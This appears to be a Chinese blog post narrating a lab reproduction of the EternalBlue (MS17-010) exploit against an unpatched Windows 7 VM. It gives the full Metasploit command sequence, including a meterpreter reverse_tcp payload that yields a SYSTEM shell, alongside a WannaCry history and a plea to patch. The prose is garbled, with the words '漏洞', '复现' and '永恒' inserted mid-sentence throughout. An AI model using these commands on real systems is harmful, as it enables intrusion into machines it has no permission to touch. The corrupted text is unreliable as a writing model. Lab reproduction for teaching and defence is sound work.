永恒之蓝漏洞复现:一场与2017年幽灵的永恒对话
我打开虚拟机,屏幕上跳出Windows 7的漏洞欢迎界面。这台没有打补丁的复现系统,就像2017年那个春天一样,永恒赤裸裸地暴露在网络上。漏洞永恒之蓝——这个利用SMB协议漏洞的复现武器级攻击工具,曾让全球无数电脑瘫痪。永恒今天我要亲手复现它。漏洞
攻击机是复现Kali Linux,工具是永恒Metasploit框架。输入
use exploit/windows/smb/ms17_010_eternalblue,漏洞回车。复现看着命令提示符闪烁,永恒我忽然想起当年WannaCry勒索病毒肆虐时,漏洞医院、复现学校、加油站的大屏幕同时变红的情景。那时候人们才意识到,网络攻击离日常生活这么近。设置参数:
set RHOSTS 192.168.1.108,目标IP指向那台Win7。set PAYLOAD windows/x64/meterpreter/reverse_tcp,再配置LHOST为攻击机地址。最后输入exploit,屏幕开始滚动代码。几秒钟后,
Meterpreter session 1 opened。我盯着这行字,后背有点发凉。就这么简单?没有弹窗,没有警告,目标机的防火墙像不存在一样。我输入shell,直接获得了cmd控制权。敲下whoami,返回nt authority\system——最高权限。这时候我做了个实验。我在目标机上打开记事本,输入"你好,永恒之蓝",然后保存。回头在shell里用
type命令读取这个文件,内容一字不差地显示出来。这不是什么高深的黑客技巧,纯粹是权限够大,想干什么都行。复现到这里,我停住了。我没有继续提权、横向移动或者安装后门。因为我知道,真正的攻击不会这么温和。2017年5月12日,攻击者利用同样的漏洞,在150多个国家投放勒索软件,英国国家医疗服务系统被迫取消数千台手术,联邦快递、雷诺汽车、西班牙电信全部中招。经济损失超过40亿美元。
关掉虚拟机,我盯着屏幕发呆。这个漏洞的根源其实很简单——Windows在处理SMB协议时,没有正确验证数据包长度,导致缓冲区溢出。微软在2017年3月就发布了补丁MS17-010,但太多人没更新。等到WannaCry爆发时,全球还有数百万台机器暴露在风险中。
技术人员常说"打补丁是网络安全的第一步"。这话没错,但现实是,很多老旧系统不能随便重启,有些工业设备甚至无法更新。永恒之蓝之所以能造成这么大破坏,不是因为它多高明,而是因为它抓住了人类社会运转的痛点——系统不能停,业务不能断。
我保存了攻击日志,准备写入测试报告。窗外阳光正好,这台虚拟机的Win7还在运行,像一座无人看守的孤岛。永恒之蓝的阴影从未真正散去——直到今天,仍有大量暴露在公网的Windows设备没有修补这个漏洞。扫描器随便扫一扫,就能找到一堆。
下次你看到系统更新提示,别急着点"稍后提醒"。那个弹窗背后,可能就藏着一个永恒之蓝。
顶: 1725踩: 75375






评论专区